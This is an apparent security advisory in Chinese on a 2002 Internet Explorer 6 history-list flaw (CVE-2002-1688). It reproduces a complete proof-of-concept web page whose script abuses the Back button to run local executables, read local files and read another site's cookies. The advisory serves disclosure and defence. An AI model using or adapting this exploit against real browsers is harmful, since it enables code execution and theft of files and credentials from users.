首页 -> 安全研究

安全研究

安全漏洞
Microsoft Internet Explorer历史列表脚本插入漏洞

发布日期:2002-04-15
更新日期:2002-04-19

受影响系统:
Microsoft Internet Explorer 6.0
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows ME
    - Microsoft Windows 98 SE
    - Microsoft Windows 98
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
描述:
BUGTRAQ  ID: 4505
CVE(CAN) ID: CVE-2002-1688

Microsoft Internet Explorer是一款由Microsoft开发维护的流行的WEB浏览器。

Microsoft Internet Explorer在处理历史列表中存在漏洞,可导致远程攻击者插入任意脚本代码到历史列表中并执行。

Microsoft Internet Explorer在浏览器历史列表中使用javascript:URL方式存储,而包含在javascript:URL中的脚本代码会以最后查看页面的安全区域上下文来执行,此功能可以保护针对包含在恶意构建WEB页中javascript:URL的攻击。但是攻击者可以设置成到用户点击'后退' 键时触发javascript:URL,这可以导致包含在javascript:URL中的脚本代码在其他页面中的上下文内容中执行。

当按'后退'键页面装载失败时,一般行为是会显示由IE在本地安全区域中操作的错误页面(在w2k中是res://C:\WINNT\System32\shdoclc.dll/dnserror.htm#),因此javascript:URL中的脚本代码可以在本地安全区域上下文中执行,或者读取任意本地文件内容。

<*来源:Andreas Sandblad (sandblad@acc.umu.se
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-04/0155.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Andreas Sandblad (sandblad@acc.umu.se)提供了如下测试方法:

点击如下其中一条连接并使用'后退'功能:

--------------------------CUT HERE-------------------------------
<html>
<h1>Press link and then the backbutton to trigger script.</h1>
<a href="javascript:execFile('file:///c:/winnt/system32/winmine.exe')">
Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br>
<a href="javascript:execFile('file:///c:/windows/system32/winmine.exe')">
Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br>
<a href="javascript:readFile('file:///c:/test.txt')">
Read c:\test.txt (needs to be created)</a><br>
<a href="javascript:readCookie('http://www.google.com/')">
Read Google cookie</a>


<script>
// badUrl = "http://www.nonexistingdomain.se"; // Use if not XP
badUrl = "res:";
function execFile(file){
  s = '<object classid=CLSID:11111111-1111-1111-1111-111111111111 ';
  s+= 'CODEBASE='+file+'></OBJECT>';
  backBug(badUrl,s);
}
function readFile(file){
  s = '<iframe name=i src='+file+' style=display:none onload=';
  s+= 'alert(i.document.body.innerText)></iframe>';
  backBug(badUrl,s);
}
function readCookie(url){
  s = '<script>alert(document.cookie);close();<"+"/script>';
  backBug(url,s);
}
function backBug(url,payload){
  len = history.length;
  page = document.location;
  s = "javascript:if (history.length!="+len+") {";
  s+= "open('javascript:document.write(\""+payload+"\")')";
  s+= ";history.back();} else '<script>location=\""+url
  s+= "\";document.title=\""+page+"\";<"+"/script>';";
  location = s;
}
</script>
</html>
--------------------------CUT HERE-------------------------------

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

浏览次数:3567
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障